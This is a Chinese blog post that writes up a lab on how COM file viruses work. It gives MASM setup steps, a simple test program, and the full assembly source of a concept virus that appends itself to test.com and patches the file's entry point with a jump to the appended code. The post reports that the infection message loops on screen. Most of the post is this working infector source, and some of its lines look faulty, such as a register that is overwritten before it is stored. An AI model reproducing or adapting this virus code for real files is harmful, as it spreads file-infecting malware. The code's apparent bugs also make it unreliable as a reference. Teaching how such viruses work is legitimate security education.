首页 > 其他分享 >COM病毒实验原理

COM病毒实验原理

时间:2023-11-19 18:04:52浏览次数:43  
标签:MOV SI AX DX OFFSET test 原理 COM 病毒

0×01 实验内容

编译生成com病毒,用com病毒对测试文件进行感染。

0×02 实验目的

了解COM病毒的原理,掌握COM病毒的分析及其修改过程。

0×03 实验原理

COM文件是一种单段执行结构的文件,其执行文件代码和执行时内存映像完全相同,起始执行偏移地址为100H,对应于文件的偏移00H(文件头)。

0×04 实验步骤

进入目录C:\tools\asm20125目录 双击“setup”运行MASM的安装程序 按安装提示点击“下一步”执行安装程序 进入如教材图7所示,点击“安装”,即可安装MASM 此时在桌面生成了MASM的快捷方式 MASM的运行界面

将代码窗口中的代码删除,并粘贴如下代码:

program segment
assume cs:program,ds:program,ss:program,es:program
org 0100h
MOV AX,SEG MESSAGE
MOV DS,AX
MOV DX,offset message
MOV AH,09h
INT 21h
MOV AH,4Ch
INT 21h
RET
message db "This a simple com program for a test",0dh,0ah,'$'
program ends
END

点击菜单栏的“保存”,将文件命名为test.asm并保存在名为test的文件夹中 点击运行,运行test.asm

test.asm的正常运行界面 点击新建,在新建工程的代码窗口中删除原有代码,并粘贴如下代码:

CSEG SEGMENT
ASSUME CS:CSEG,DS:CSEG,SS:CSEG,ES:CSEG
   org 0100h
start:
NOP
NOP
NOP
NOP
CALL main
MOV AX,04c00h
INT 21h
RET
main PROC NEAR
mainstart:CALL vstart
vstart:
POP SI
MOV BP,SI
ADD SI,OFFSET yuan4byte-OFFSET vstart
MOV AX,0100H
MOV DI,AX
MOV AX,DS:[SI]
MOV AX,CS
MOV DS,AX
MOV DS:[DI],AX
INC SI
INC SI
INC DI
INC DI
MOV AX,DS:[SI]
MOV DS:[DI],AX
MOV SI,BP
MOV DX,OFFSET filename-OFFSET vstart
ADD DX,SI
MOV AL,02
MOV AH,3dh
INT 21h
JC error
MOV BX,AX
MOV DX,OFFSET yuan4byte-OFFSET vstart
ADD DX,SI
MOV CX,4
MOV AH,3Fh
INT 21h
MOV AX,04202h
XOR CX,CX
XOR DX,DX
INT 21h
MOV DI,OFFSET new4byte-OFFSET vstart
ADD DI,2
ADD DI,SI
SUB AX,4
MOV DS:[DI],AX
ADD SI,OFFSET mainstart-OFFSET vstart
MOV DX,SI
MOV CX,OFFSET vends-OFFSET mainstart
MOV AH,40h
INT 21h
MOV SI,BP
MOV AL,0
XOR CX,CX
XOR DX,DX
MOV AH,42h
INT 21h
MOV AH,40h
MOV CX,4
MOV DX,OFFSET new4byte-OFFSET vstart
ADD DX,SI
INT 21h
MOV AH,3Eh
INT 21h

MOV SI,BP
ADD SI,OFFSET sz_message-OFFSET vstart
MOV DX,SI
MOV AH,09h
INT 21h


JMP error
jmp MEND
DEC BP
error:
MOV CX,DS:WORD PTR[BP+OFFSET vflag-OFFSET vstart]
CMP CX,0
JE MEND

MOV AX,100h
PUSH AX
RET
MEND:
MOV DS:BYTE PTR [BP+OFFSET vflag-OFFSET vstart],1
MOV AX,100h
PUSH AX
RET
main ENDP
yuan4byte:RET
DB 3 DUP(?)
vflag DW 0
new4byte DB 'M','0e9h',0,0
filename DB "test.com",0
sz_message DB "You are infected by a concept com virus",0dh,0ah,'$'
vends:
CSEG ENDS
 END

将代码保存为virus.asm,并通test.asm一样保存在test文件夹中, 点击使之运行,可出现如教材图17所示界面,并在test文件夹中生成了virus的可执行程序

双击virus.exe使之运行,在没有test.com文件的情况下 将test文件夹中的test.asm文件改名为test.com文件 运行virus.exe,如教材图21所示,则可发现病毒正感染test.com文件

0×05 实验笔记

打开MASM程序将界面代码删除,粘贴第一段DOS汇编语言代码,保存为test.asm并保存至test文件夹中,点击运行此程序,发现是窗口 按回车即可退出此程序。

接着将第一段代码删除,粘贴第二段代码,保存为virus.asm文件并保存到test文件夹中。

打开test文件夹,发现已经自动生成了virus的exe、lst、obj三种格式文件。 双击virus.exe文件使之运行,发现是空白窗口,将test.asm文件修改为test.com文件,再次运行virus.exe文件

弹出窗口: You are infected by a concept com virus 并且一直循环

这段话意思是: 你被一种概念com通讯病毒感染了 达到一定时间就开始全窗口出现

标签:MOV,SI,AX,DX,OFFSET,test,原理,COM,病毒
From: https://blog.51cto.com/u_16306712/8474518

相关文章

  • 简述DHCP的作用及原理
    DHCP:简单来说就是动态分配IPDHCP(动态主机配置协议)是一种网络协议,它用于自动分配IP地址和其他网络配置给计算机。DHCP的工作原理如下:1.发现(Discover)阶段:当计算机连接到网络时,它会广播一个DHCP发现消息,寻找可用的DHCP服务器。2.提供(Offer)阶段:DHCP服务器接收到发现消息后,会向计算......
  • AJAX跨域代理机制实现原理解析------AJAX
    httpClient发送packagecom.bjpowernode.httpClient;importorg.apache.http.HttpEntity;importorg.apache.http.HttpResponse;importorg.apache.http.client.methods.HttpGet;importorg.apache.http.impl.client.CloseableHttpClient;importorg.apache.http.impl.cl......
  • (DC/DC)Buck、Boost电路原理、电源调制方式、芯片内部、设计参数!
    DC/DC转换器是直流/直流转换器,是一种将直流电压从高电压转换为低电压或从低电压转换为高电压的电源转换设备。Buck和Boost是两种基本的DC/DC转换器拓扑。Buck电路(降压型DC/DC转换器):原理:Buck电路通过控制开关(通常是晶体管)将输入电压降低。当晶体管开启时,电流增加,电压降低。当晶体......
  • delphi dev cxLookupComboBox 模糊搜索
    //不是过滤DATASET,适合用在下拉数据很多的情况。过滤的必须是下拉有添加的列procedurecxLookupComboBoxLikeSearchInitPopup(Sender:TObject);varFEdit:TcxLookupComboBoxabsoluteSender;i:integer;begin//ifFEdit.Properties.IncrementalSearchthen//FEdit......
  • Optimized Content Caching and User Association for Edge Computing in Densely Dep
    目录OptimizedContentCachingandUserAssociationforEdgeComputinginDenselyDeployedHeterogeneousNetworks1、问题背景贡献点:2、系统建模及问题公式化系统建模问题公式化联合内容缓存和用户关联策略智能内容缓存策略动态用户关联方法RA(RapidAssociation)Algorithm:DA......
  • linux安装最新版本composer
    wgethttps://getcomposer.org/composer.pharmvcomposer.pharcomposerchmod+xcomposersudomvcomposer/usr/bin/composer-V切换为中国源composerconfig-grepo.packagistcomposerhttps://packagist.phpcomposer.com......
  • 支持向量机SVM:从数学原理到实际应用
    本篇文章全面深入地探讨了支持向量机(SVM)的各个方面,从基本概念、数学背景到Python和PyTorch的代码实现。文章还涵盖了SVM在文本分类、图像识别、生物信息学、金融预测等多个实际应用场景中的用法。关注TechLead,分享AI全维度知识。作者拥有10+年互联网服务架构、AI产品研发经验、......
  • 支持向量机SVM:从数学原理到实际应用
    本篇文章全面深入地探讨了支持向量机(SVM)的各个方面,从基本概念、数学背景到Python和PyTorch的代码实现。文章还涵盖了SVM在文本分类、图像识别、生物信息学、金融预测等多个实际应用场景中的用法。关注TechLead,分享AI全维度知识。作者拥有10+年互联网服务架构、AI产品研发经验、......
  • 支持向量机SVM:从数学原理到实际应用
    本篇文章全面深入地探讨了支持向量机(SVM)的各个方面,从基本概念、数学背景到Python和PyTorch的代码实现。文章还涵盖了SVM在文本分类、图像识别、生物信息学、金融预测等多个实际应用场景中的用法。关注TechLead,分享AI全维度知识。作者拥有10+年互联网服务架构、AI产品研发经验......
  • C++默认参数实现原理分析
    简介定义C++默认参数指的是当函数调用中省略了实参时自动使用的一个值。写法如下:voidfoo(inta=1){}voidfoo(inta,intb=1,intc=1){}默认参数有两个规则,规则一:从第一个出现默认参数的参数开始,后面的参数必须也指定默认参数voidfoo(inta=1,intb,intc=1......